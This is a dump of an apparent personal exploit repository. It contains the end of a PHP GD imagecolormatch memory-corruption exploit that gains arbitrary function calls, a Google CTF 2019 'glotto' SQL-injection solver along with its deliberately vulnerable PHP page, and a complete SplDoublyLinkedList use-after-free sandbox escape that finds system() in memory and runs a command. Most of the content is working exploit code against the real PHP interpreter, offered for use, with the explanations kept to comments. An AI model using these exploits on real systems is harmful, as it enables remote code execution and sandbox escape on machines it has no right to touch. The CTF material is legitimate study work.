HashTable will be destroyed by calling ht->pDestructor(element) 178 | # The only element here is a string: "id" 179 | $z = 180 | # refcount 181 | ptr2str(1) . 182 | # u-nTableMask meth 183 | ptr2str(0) . 184 | # Bucket arData 185 | ptr2str($z_address + 0x38) . 186 | # uint32_t nNumUsed; 187 | ptr2str(1, 4) . 188 | # uint32_t nNumOfElements; 189 | ptr2str(1, 4) . 190 | # uint32_t nTableSize 191 | ptr2str(0, 4) . 192 | # uint32_t nInternalPointer 193 | ptr2str(0, 4) . 194 | # zend_long nNextFreeElement 195 | ptr2str(0x4242424242424242) . 196 | # dtor_func_t pDestructor 197 | ptr2str(hexdec($_REQUEST['f'])) . 198 | str_pad($_REQUEST['c'], 0x100, "\x00") . 199 | ptr2str(0, strlen($y) - 0x38 - 0x100); 200 | ; 201 | 202 | # At this point we control a string $z and we know its address: we'll make an 203 | # internal PHP HashTable structure point to it. 204 | 205 | 206 | # 207 | # #2: Read Nenuphar.std.properties 208 | # 209 | 210 | # The tricky part here was to find an interesting PHP structure that is 211 | # allocated in the same fastbins as buf, so that we can modify one of its 212 | # internal pointers. Since buf has to be a multiple of 0x28, I used dom_object, 213 | # whose size is 0x50 = 0x28 * 2. Nenuphar is a subclass of dom_object with just 214 | # one extra method, __get(). 215 | # php_dom.c:1074: dom_object *intern = ecalloc(1, sizeof(dom_object) + zend_object_properties_size(class_type)); 216 | # Since we defined a __get() method, zend_object_properties_size(class_type) = 0 217 | # and not -0x10. 218 | # 219 | # zend_object.properties points to an HashTable. Controlling an HashTable in PHP 220 | # means code execution since at the end of the script, every element of an HT is 221 | # destroyed by calling ht.pDestructor(ht.arData[i]). 222 | # Hence, we want to change the $nenuphar.std.properties pointer. 223 | # 224 | # To proceed, we first read $nenuphar.std.properties, and then increment it 225 | # by triggering the bug several times, until 226 | # $nenuphar.std.properties == $z_address 227 | # 228 | # Sadly, $nenuphar.std.ce will also get incremented by one every time we trigger 229 | # the bug. This is due to (*(bp++))++ (in gdImageColorMatch). 230 | # To circumvent this problem, we create two classes, Nenuphar and Nenuphar2, and 231 | # instanciate them as $nenuphar and $nenuphar2. After we're done changing the 232 | # std.properties pointer, we trigger the bug more times, until 233 | # $nenuphar.std.ce == $nenuphar2.std.ce2 234 | # 235 | # This way, $nenuphar will have an arbitrary std.properties pointer, and its 236 | # std.ce will be valid. 237 | # 238 | # Afterwards, we let the script exit, which will destroy our fake hashtable (Z), 239 | # and therefore call our arbitrary function. 240 | # 241 | 242 | # Here we want fastbins of size 0x50 to match dom_object's size 243 | $nb_colors = 2; 244 | $size_buf = $nb_colors * BYTES_PER_COLOR; 245 | 246 | $img1 = imagecreatetruecolor(1, 1); 247 | # The three RGB values will be added to OOB memory 248 | # Second value (Green) is added to the size of the zend_string structure which 249 | # lays under buf in memory. 250 | $color = imagecolorallocate($img1, 0, 0xFF, 0); 251 | imagefill($img1, 0, 0, $color); 252 | 253 | # Allocate 2 colors so that |buf| = 2 * 0x28 = 0x50 254 | $img2 = imagecreate(1, 1); 255 | for($i=0;$i<$nb_colors;$i++) 256 | imagecolorallocate($img2, 0, 0, $i); 257 | 258 | $y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8); 259 | $x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8); 260 | $nenuphar = new Nenuphar(); 261 | $nenuphar2 = new Nenuphar2(); 262 | 263 | imagesetpixel($img2, 0, 0, $nb_colors); 264 | 265 | # Unsetting the first string so that buf takes its place 266 | unset($y); 267 | 268 | # Trigger the bug: $x's size is increased by 0xFF 269 | imagecolormatch($img1, $img2); 270 | 271 | $ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28); 272 | $ce2_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + $size_buf + 0x28); 273 | $props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38); 274 | 275 | print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n"); 276 | print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\n"); 277 | print('Nenuphar.properties: 0x' . dechex($props_address) . "\n"); 278 | print('z.val: 0x' . dechex($z_address) . "\n"); 279 | print('Difference: 0x' . dechex($z_address-$props_address) . "\n"); 280 | 281 | if( 282 | $ce2_address - $ce1_address < ($z_address-$props_address) / 0xff || 283 | $z_address - $props_address < 0 284 | ) 285 | { 286 | print('That won\'t work'); 287 | exit(0); 288 | } 289 | 290 | 291 | # 292 | # #3: Modifying Nenuphar.std.properties and Nenuphar.std.ce 293 | # 294 | 295 | # Each time we increment Nenuphar.properties by an arbitrary value, ce1_address 296 | # is also incremented by one because of (*(bp++))++; 297 | # Therefore after we're done incrementing props_address to z_address we need 298 | # to increment ce1's address one by one until Nenuphar1.ce == Nenuphar2.ce 299 | 300 | # The memory structure we have ATM is OK. We can just trigger the bug again 301 | # until Nenuphar.properties == z_address 302 | 303 | $color = imagecolorallocate($img1, 0, 0xFF, 0); 304 | imagefill($img1, 0, 0, $color); 305 | imagesetpixel($img2, 0, 0, $nb_colors + 3); 306 | 307 | for($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF) 308 | { 309 | imagecolormatch($img1, $img2); 310 | $ce1_address++; 311 | } 312 | 313 | $color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0); 314 | imagefill($img1, 0, 0, $color); 315 | $current = imagecolormatch($img1, $img2); 316 | $ce1_address++; 317 | 318 | # Since we don't want to touch other values, only increase the first one, we set 319 | # the three colors to 0 320 | $color = imagecolorallocate($img1, 0, 0, 0); 321 | imagefill($img1, 0, 0, $color); 322 | 323 | # Trigger the bug once to increment ce1 by one. 324 | while($ce1_address++ < $ce2_address) 325 | { 326 | imagecolormatch($img1, $img2); 327 | } 328 | 329 | # Read the string again to see if we were successful 330 | 331 | $new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28); 332 | $new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38); 333 | 334 | if($new_ce1_address == $ce2_address && $new_props_address == $z_address) 335 | { 336 | print("\nExploit SUCCESSFUL !\n"); 337 | } 338 | else 339 | { 340 | print('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . "\n"); 341 | print('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . "\n"); 342 | print("\nExploit FAILED !\n"); 343 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Exploits 2 | Some of my exploits. 3 | 4 | Twitter: [@cfreal_](https://twitter.com/cfreal_) 5 | -------------------------------------------------------------------------------- /gctf-2019-glotto/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | 3 | import binascii 4 | import re 5 | import requests 6 | import random 7 | import functools 8 | import math 9 | 10 | import urllib3 11 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 12 | 13 | 14 | def hexa(string): 15 | """Converts a string into its 0x41424344 MySQL representation. 16 | """ 17 | return '0x' + binascii.hexlify(string.encode()).decode() 18 | 19 | 20 | def date_to_index(values): 21 | """Converts a date into a numerical index. 22 | """ 23 | values = ','.join(values) 24 | values = hexa(values) 25 | return f"FIND_IN_SET(MID(date,9),{values})-1" 26 | 27 | 28 | def inner_query(nb_candidates, base_divisor): 29 | """Builds the inner query which sets up remainders, r{i}. 30 | """ 31 | modulo = math.factorial(nb_candidates) 32 | base = 'CONV(@lotto,36,10)' 33 | base = f'(({base} DIV {base_divisor})%{modulo})' 34 | 35 | divisor = 1 36 | fields = [] 37 | for i in range(nb_candidates, 1, -1): 38 | field = f'(({base} DIV {divisor}) % {i}) r{i}' 39 | fields.append(field) 40 | divisor *= i 41 | 42 | fields = ','.join(fields) 43 | return f'SELECT {fields}' 44 | 45 | 46 | def middle_query(nb_candidates, divisor): 47 | """Builds the middle query which converts remainders r{i} into indices i{i}. 48 | """ 49 | fields = [] 50 | potential_values = hexa(''.join(map(str, range(nb_candidates)))) 51 | fields.append(f'@s{nb_candidates+1}:={potential_values}') 52 | 53 | for i in range(nb_candidates, 1, -1): 54 | fields.append(f'MID(@s{i+1},r{i}+1,1) i{i}') 55 | fields.append(f'@s{i}:=CONCAT(MID(@s{i+1},1,r{i}),MID(@s{i+1},r{i}+2))') 56 | 57 | fields = ','.join(fields) 58 | inner = inner_query(nb_candidates, divisor) 59 | return f'SELECT {fields} FROM ({inner})a' 60 | 61 | 62 | def outer_query(nb_candidates, divisor): 63 | """Builds the outer query, a string consisting of nb_candidates-1 zeros and 64 | a single one, indicating which row must be at which position. 65 | """ 66 | outer_fields = ','.join(f'@x=i{i}' for i in range(nb_candidates, 1, -1)) 67 | outer_fields = f'CONCAT({outer_fields})' 68 | 69 | middle = middle_query(nb_candidates, divisor) 70 | return f'SELECT {outer_fields} FROM ({middle})b' 71 | 72 | 73 | def full_query(candidates, divisor): 74 | """Builds the full ORDER BY statement by setting up @x and building the 3 75 | other queries. 76 | """ 77 | x = date_to_index(candidates) 78 | outer = outer_query(len(candidates), divisor) 79 | return f'(SELECT @x:=({x}))&0 | ({outer})' 80 | 81 | 82 | def extract_days(r, month): 83 | """Given an HTTP response r and a month, extracts the date rows in order. 84 | """ 85 | # The challenge is a bit broken: for instance, June has a ticket for March, 86 | # 1rst. Luckily the days are distinct for all rows, so it works out in the 87 | # end. 88 | m = re.search( 89 | f'{month}.*?(.*?)
', 90 | r.text, 91 | flags=re.S 92 | ) 93 | return re.findall(r'2019-\d{2}-(\d{2})', m.group(1)) 94 | 95 | 96 | def days_to_indices(base, obtained): 97 | """Converts the days into their indices. 98 | """ 99 | return [base.index(day) for day in obtained] 100 | 101 | 102 | def get_months_days(response): 103 | """Extract the days available for each month. 104 | For march, you'd get 01,03,05,10,13,18,23,28,30. 105 | """ 106 | return [ 107 | extract_days(response, month) 108 | for month in ('march', 'april', 'may', 'june') 109 | ] 110 | 111 | 112 | def rebuild_integer(base, obtained): 113 | """Rebuilds the expected integer by first converting the date indices into 114 | remainders, and then reconstructing the number from these remainders. 115 | """ 116 | 117 | indices = days_to_indices(base, obtained) 118 | indices = indices[::-1] 119 | nb_days = len(base) 120 | 121 | bases = [i for i in range(nb_days)] 122 | remainders = [] 123 | 124 | for i in indices[:-1]: 125 | r = bases.index(i) 126 | remainders.append(r) 127 | bases.pop(r) 128 | 129 | #print("::",indices) 130 | #print(">>",remainders) 131 | 132 | n = 0 133 | 134 | for i, r in enumerate(remainders[::-1]): 135 | n = (i + 2) * n + r 136 | 137 | return n 138 | 139 | 140 | def rebuild_code(N): 141 | """Converts a number N from base 10 to base 36. 142 | """ 143 | charset = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' 144 | base = len(charset) 145 | code = '' 146 | 147 | while N > 1: 148 | code += charset[N % base] 149 | N //= base 150 | 151 | return code[::-1] 152 | 153 | def run(): 154 | queries = [] 155 | divisor = 1 156 | 157 | # Build a query for each table 158 | for days in base_months_days: 159 | query = full_query(days, divisor) 160 | divisor *= math.factorial(len(days)) 161 | queries.append(query) 162 | 163 | # Inject the 4 fields ... 164 | response = session.get( 165 | URL, 166 | params={ 167 | f'order{i}': f'winner`&0,{query} -- -' 168 | for i, query in enumerate(queries) 169 | } 170 | ) 171 | # ... and get the ordered dates in the page 172 | ordered_months_days = get_months_days(response) 173 | 174 | # Rebuild integers from the date numbers 175 | 176 | integers = [ 177 | rebuild_integer(base_days, month_days) 178 | for base_days, month_days in zip(base_months_days, ordered_months_days) 179 | ] 180 | 181 | # Rebuild final number 182 | 183 | N = 0 184 | for bmd, r in list(zip(base_months_days, integers))[::-1]: 185 | N = N * math.factorial(len(bmd)) + r 186 | 187 | # We're missing bits, we need to guess them: 188 | 189 | f = math.factorial 190 | order = functools.reduce( 191 | (lambda x, y: x * y), ( 192 | f(len(days)) for days in base_months_days 193 | ) 194 | ) 195 | 196 | # 1234 is D[june]: it's a one in 2678 guess 197 | N_guess = N + 1234 * order 198 | code = rebuild_code(N_guess) 199 | 200 | print(f'Trying {code}...') 201 | 202 | r = session.post(URL, data={'code': code}) 203 | 204 | if 'You won!' in r.text: 205 | print(r.text) 206 | exit() 207 | 208 | # The page is kind enough to return the winning ticket, so we can verify if 209 | # we didn't fuck up any computation 210 | 211 | expected_ticket_v = re.search('winning ticket was (.*)', r.text).group(1) 212 | expected_ticket = int(expected_ticket_v, 36) 213 | expected_compute = expected_ticket % order 214 | if expected_compute != N: 215 | print( 216 | "::", expected_ticket_v, expected_ticket, 217 | expected_compute, N, N-expected_compute 218 | ) 219 | 220 | 221 | # Exploit prelude: setup HTTP and get the days for each month table. 222 | 223 | URL = 'https://glotto.web.ctfcompetition.com' 224 | session = requests.Session() 225 | session.verify = False 226 | #session.proxies = {'https': 'localhost:8080'} 227 | 228 | response = session.get(URL) 229 | base_months_days = get_months_days(response) 230 | 231 | 232 | # Exploit: find out @lotto and get lucky 233 | # We need to run it several times :) 234 | while True: 235 | run() 236 | -------------------------------------------------------------------------------- /gctf-2019-glotto/glotto.php: -------------------------------------------------------------------------------- 1 | The winning ticket was $win"); 35 | } 36 | } 37 | 38 | 39 | session_start(); 40 | 41 | $tables = array( 42 | 'march', 43 | 'april', 44 | 'may', 45 | 'june', 46 | ); 47 | 48 | $winner = gen_winner(12); 49 | $_SESSION['winner'] = $winner; 50 | 51 | $db = new mysqli(null, $dbuser, $dbpass, $dbname, null, $socket); 52 | //$db = new mysqli($dbhost, $dbuser, $dbpass, $dbname); 53 | 54 | if ($db->connect_errno) { 55 | printf("Connect failed: %s\n", $db->connect_error); 56 | exit(); 57 | } 58 | 59 | $db->query("SET @lotto = '$winner'"); 60 | 61 | 62 | for ($i = 0; $i < count($tables); $i++) 63 | { 64 | $order = isset($_GET["order{$i}"]) ? $_GET["order{$i}"] : ''; 65 | if (stripos($order, 'benchmark') !== false) die; 66 | ${"result$i"} = $db->query("SELECT * FROM {$tables[$i]} " . ($order != '' ? "ORDER BY `".$db->escape_string($order)."`" : "")); 67 | if (!${"result$i"}) die; 68 | } 69 | ?> 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | Win The Lotto! 78 | 79 | 80 | 81 | 86 | 87 | 88 | 89 | 90 | 100 | 101 | 102 |
103 |
104 |

Welcome!

105 |

Here are the results of past lottery draws, good luck!

106 |
107 |
108 | 109 |
110 |
111 | 112 |
113 |
114 |
115 | 116 | 117 | fetch_array()) 119 | { 120 | echo ''; 121 | echo ""; 122 | echo ''; 123 | } 124 | echo "\n"; 125 | ?> 126 |
DateWinning ticket
{$row[0]}{$row[1]}
127 |
128 |
129 | 130 | 131 |
132 | 133 | 134 | 155 | 156 |
157 | 158 | 161 | 162 |
163 | 164 | 165 | 166 | 167 | 168 | 169 | 1 -------------------------------------------------------------------------------- /php-SplDoublyLinkedList-offsetUnset/README.md: -------------------------------------------------------------------------------- 1 | # PHP SplDoublyLinkedList::offsetUnset sandbox escape 2 | 3 | Writeup: https://ssd-disclosure.com/ssd-advisory-php-spldoublylinkedlist-uaf-sandbox-escape/ 4 | -------------------------------------------------------------------------------- /php-SplDoublyLinkedList-offsetUnset/exploit.php: -------------------------------------------------------------------------------- 1 | next() or 17 | # $dll->prev() in the zval's destructor. 18 | # 19 | # 20 | 21 | error_reporting(E_ALL); 22 | define('NB_DANGLING', 200); 23 | define('SIZE_ELEM_STR', 40 - 24 - 1); 24 | define('STR_MARKER', 0xcf5ea1); 25 | 26 | function i2s(&$s, $p, $i, $x=8) 27 | { 28 | for($j=0;$j<$x;$j++) 29 | { 30 | $s[$p+$j] = chr($i & 0xff); 31 | $i >>= 8; 32 | } 33 | } 34 | 35 | function s2i(&$s, $p, $x=8) 36 | { 37 | $i = 0; 38 | for($j=$x-1;$j>=0;$j--) 39 | { 40 | $i <<= 8; 41 | $i |= ord($s[$p+$j]); 42 | } 43 | return $i; 44 | } 45 | 46 | class UAFTrigger 47 | { 48 | function __destruct() 49 | { 50 | global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets; 51 | #"print('UAF __destruct: ' . "\n"); 52 | $dlls[NB_DANGLING]->offsetUnset(0); 53 | 54 | # At this point every $dll->current points to the same freed chunk. We allocate 55 | # that chunk with a string, and fill the zval part 56 | 57 | $fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR)); 58 | i2s($fake_dll_element, 0x00, 0x12345678); # ptr 59 | i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff 60 | 61 | # Each of these dlls current->next pointers point to the same location, 62 | # the string we allocated. When calling next(), our fake element becomes 63 | # the current value, and as such its rc is incremented. Since rc is at 64 | # the same place as zend_string.len, the length of the string gets bigger, 65 | # allowing to R/W any part of the following memory 66 | 67 | for($i = 0; $i <= NB_DANGLING; $i++) 68 | $dlls[$i]->next(); 69 | 70 | if(strlen($fake_dll_element) <= SIZE_ELEM_STR) 71 | die('Exploit failed: fake_dll_element did not increase in size'); 72 | 73 | $leaked_str_offsets = []; 74 | $leaked_str_zval = []; 75 | 76 | # In the memory after our fake element, that we can now read and write, 77 | # there are lots of zend_string chunks that we allocated. We keep three, 78 | # and we keep track of their offsets. 79 | 80 | for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40) 81 | { 82 | # If we find a string marker, pull it from the string list 83 | if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER) 84 | { 85 | $leaked_str_offsets[] = $offset; 86 | $leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)]; 87 | if(count($leaked_str_zval) == 3) 88 | break; 89 | } 90 | } 91 | 92 | if(count($leaked_str_zval) != 3) 93 | die('Exploit failed: unable to leak three zend_strings'); 94 | 95 | # free the strings, except the three we need 96 | $strs = null; 97 | 98 | # Leak adress of first chunk 99 | unset($leaked_str_zval[0]); 100 | unset($leaked_str_zval[1]); 101 | unset($leaked_str_zval[2]); 102 | 103 | $first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]); 104 | # At this point we have 3 freed chunks of size 40, which we can read/write, 105 | # and we know their address. 106 | print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n"); 107 | 108 | # In the third one, we will allocate a DLL element which points to a zend_array 109 | $rw_dll->push([3]); 110 | $array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18); 111 | 112 | # Change the zval type from zend_object to zend_string 113 | i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006); 114 | 115 | if(gettype($rw_dll[0]) != 'string') 116 | die('Exploit failed: Unable to change zend_array to zend_string'); 117 | 118 | # We can now read anything: if we want to read 0x11223300, we make zend_string* 119 | # point to 0x11223300-0x10, and read its size using strlen() 120 | # Read zend_array->pDestructor 121 | $zval_ptr_dtor_addr = read($array_addr + 0x30); 122 | 123 | print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n"); 124 | 125 | # Use it to find zif_system 126 | $system_addr = get_system_address($zval_ptr_dtor_addr); 127 | print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n"); 128 | 129 | # In the second freed block, we create a closure and copy the zend_closure struct 130 | # to a string 131 | $rw_dll->push(function ($x) {}); 132 | $closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18); 133 | $data = str_shuffle(str_repeat('A', 0x200)); 134 | for($i = 0; $i < 0x138; $i += 8) 135 | { 136 | i2s($data, $i, read($closure_addr + $i)); 137 | } 138 | 139 | # Change internal func type and pointer to make the closure execute system instead 140 | i2s($data, 0x38, 1, 4); 141 | i2s($data, 0x68, $system_addr); 142 | 143 | # Push our string, which contains a fake zend_closure, in the last freed chunk that 144 | # we control, and make the second zval point to it. 145 | $rw_dll->push($data); 146 | $fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24; 147 | i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure); 148 | print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n"); 149 | 150 | # Calling it now 151 | 152 | print('Running system("id");' . "\n"); 153 | $rw_dll[1]('id'); 154 | print_r('DONE'."\n"); 155 | } 156 | } 157 | 158 | class DanglingTrigger 159 | { 160 | function __construct($i) 161 | { 162 | $this->i = $i; 163 | } 164 | 165 | function __destruct() 166 | { 167 | global $dlls; 168 | #D print('__destruct: ' . $this->i . "\n"); 169 | $dlls[$this->i]->offsetUnset(0); 170 | $dlls[$this->i+1]->push(123); 171 | $dlls[$this->i+1]->offsetUnset(0); 172 | } 173 | } 174 | 175 | class SystemExecutor extends ArrayObject 176 | { 177 | function offsetGet($x) 178 | { 179 | parent::offsetGet($x); 180 | } 181 | } 182 | 183 | /** 184 | * Reads an arbitrary address by changing a zval to point to the address minus 0x10, 185 | * and setting its type to zend_string, so that zend_string->len points to the value 186 | * we want to read. 187 | */ 188 | function read($addr, $s=8) 189 | { 190 | global $fake_dll_element, $leaked_str_offsets, $rw_dll; 191 | i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10); 192 | i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006); 193 | $value = strlen($rw_dll[0]); 194 | if($s != 8) 195 | $value &= (1 << ($s << 3)) - 1; 196 | return $value; 197 | } 198 | 199 | function get_binary_base($binary_leak) 200 | { 201 | $base = 0; 202 | $start = $binary_leak & 0xfffffffffffff000; 203 | for($i = 0; $i < 0x1000; $i++) 204 | { 205 | $addr = $start - 0x1000 * $i; 206 | $leak = read($addr, 7); 207 | # ELF header 208 | if($leak == 0x10102464c457f) 209 | return $addr; 210 | } 211 | # We'll crash before this but it's clearer this way 212 | die('Exploit failed: Unable to find ELF header'); 213 | } 214 | 215 | function parse_elf($base) 216 | { 217 | $e_type = read($base + 0x10, 2); 218 | $e_phoff = read($base + 0x20); 219 | $e_phentsize = read($base + 0x36, 2); 220 | $e_phnum = read($base + 0x38, 2); 221 | for($i = 0; $i < $e_phnum; $i++) { 222 | $header = $base + $e_phoff + $i * $e_phentsize; 223 | $p_type = read($header + 0x00, 4); 224 | $p_flags = read($header + 0x04, 4); 225 | $p_vaddr = read($header + 0x10); 226 | $p_memsz = read($header + 0x28); 227 | if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write 228 | # handle pie 229 | $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; 230 | $data_size = $p_memsz; 231 | } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec 232 | $text_size = $p_memsz; 233 | } 234 | } 235 | if(!$data_addr || !$text_size || !$data_size) 236 | die('Exploit failed: Unable to parse ELF'); 237 | return [$data_addr, $text_size, $data_size]; 238 | } 239 | 240 | function get_basic_funcs($base, $elf) { 241 | list($data_addr, $text_size, $data_size) = $elf; 242 | for($i = 0; $i < $data_size / 8; $i++) { 243 | $leak = read($data_addr + $i * 8); 244 | if($leak - $base > 0 && $leak < $data_addr) { 245 | $deref = read($leak); 246 | # 'constant' constant check 247 | if($deref != 0x746e6174736e6f63) 248 | continue; 249 | } else continue; 250 | $leak = read($data_addr + ($i + 4) * 8); 251 | if($leak - $base > 0 && $leak < $data_addr) { 252 | $deref = read($leak); 253 | # 'bin2hex' constant check 254 | if($deref != 0x786568326e6962) 255 | continue; 256 | } else continue; 257 | return $data_addr + $i * 8; 258 | } 259 | } 260 | 261 | function get_system($basic_funcs) 262 | { 263 | $addr = $basic_funcs; 264 | do { 265 | $f_entry = read($addr); 266 | $f_name = read($f_entry, 6); 267 | if($f_name == 0x6d6574737973) { # system 268 | return read($addr + 8); 269 | } 270 | $addr += 0x20; 271 | } while($f_entry != 0); 272 | return false; 273 | } 274 | 275 | function get_system_address($binary_leak) 276 | { 277 | $base = get_binary_base($binary_leak); 278 | print('ELF base: 0x' .dechex($base) . "\n"); 279 | $elf = parse_elf($base); 280 | $basic_funcs = get_basic_funcs($base, $elf); 281 | print('Basic functions: 0x' .dechex($basic_funcs) . "\n"); 282 | $zif_system = get_system($basic_funcs); 283 | return $zif_system; 284 | } 285 | 286 | # This is to force PHP to output headers, thus avoiding unexpected allocations 287 | print('Exploit starts.'); 288 | 289 | $dlls = []; 290 | $strs = []; 291 | $rw_dll = new SplDoublyLinkedList(); 292 | 293 | # Create a chain of dangling triggers, which will all in turn 294 | # free current->next, push an element to the next list, and free current 295 | # This will make sure that every current->next points the same memory block, 296 | # which we will UAF. 297 | for($i = 0; $i < NB_DANGLING; $i++) 298 | { 299 | $dlls[$i] = new SplDoublyLinkedList(); 300 | $dlls[$i]->push(new DanglingTrigger($i)); 301 | $dlls[$i]->rewind(); 302 | } 303 | 304 | # We want our UAF'd list element to be before two strings, so that we can 305 | # obtain the address of the first string, and increase is size. We then have 306 | # R/W over all memory after the obtained address. 307 | define('NB_STRS', 50); 308 | for($i = 0; $i < NB_STRS; $i++) 309 | { 310 | $strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR)); 311 | i2s($strs[$i], 0, STR_MARKER); 312 | i2s($strs[$i], 8, $i, 7); 313 | } 314 | 315 | # Free one string in the middle, ... 316 | $strs[(int) (NB_STRS / 2)] = 123; 317 | 318 | # ... and put the to-be-UAF'd list element instead. 319 | $dlls[0]->push(0); 320 | 321 | # Setup the last DLlist, which will exploit the UAF 322 | $dlls[NB_DANGLING] = new SplDoublyLinkedList(); 323 | $dlls[NB_DANGLING]->push(new UAFTrigger()); 324 | $dlls[NB_DANGLING]->rewind(); 325 | 326 | # Trigger the bug on the first list 327 | $dlls[0]->offsetUnset(0); --------------------------------------------------------------------------------